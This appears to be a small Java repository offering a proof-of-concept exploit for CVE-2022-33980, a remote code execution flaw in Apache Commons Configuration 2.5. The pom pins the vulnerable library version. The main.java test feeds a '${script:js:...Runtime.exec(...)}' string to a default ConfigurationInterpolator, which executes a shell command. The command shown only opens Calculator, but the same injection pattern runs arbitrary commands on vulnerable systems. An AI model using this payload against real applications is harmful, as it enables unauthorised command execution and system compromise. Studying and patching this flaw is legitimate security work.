├── .idea
├── .gitignore
├── compiler.xml
├── jarRepositories.xml
├── misc.xml
└── vcs.xml
├── README.md
├── img.png
├── pom.xml
└── src
└── main
└── java
└── com
└── txf
└── main.java
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2022-33980-Apache-Commons-Configuration-RCE
2 |
3 | 
--------------------------------------------------------------------------------
/img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE/135267a030fe066ced5abf2ad28946b447d89c53/img.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | CVE-2022-33980
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 | org.apache.commons
15 | commons-configuration2
16 | 2.5
17 |
18 |
19 |
20 | junit
21 | junit
22 | 4.13.2
23 | compile
24 |
25 |
26 |
27 |
28 |
29 |
30 | 8
31 | 8
32 |
33 |
34 |
--------------------------------------------------------------------------------
/src/main/java/com/txf/main.java:
--------------------------------------------------------------------------------
1 | package com.txf;
2 |
3 | import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
4 | import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
5 | import org.junit.Test;
6 |
7 |
8 |
9 | public class main {
10 |
11 | @Test
12 | public void testProperties() throws Exception{
13 | InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
14 | .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
15 | .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
16 | .create();
17 |
18 | ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
19 | System.out.printf("POC: %s",interpolator.interpolate("${script:js:java.lang.Runtime.getRuntime().exec(\"open /system/Applications/Calculator.app\")}"));
20 | }
21 | }
22 |
--------------------------------------------------------------------------------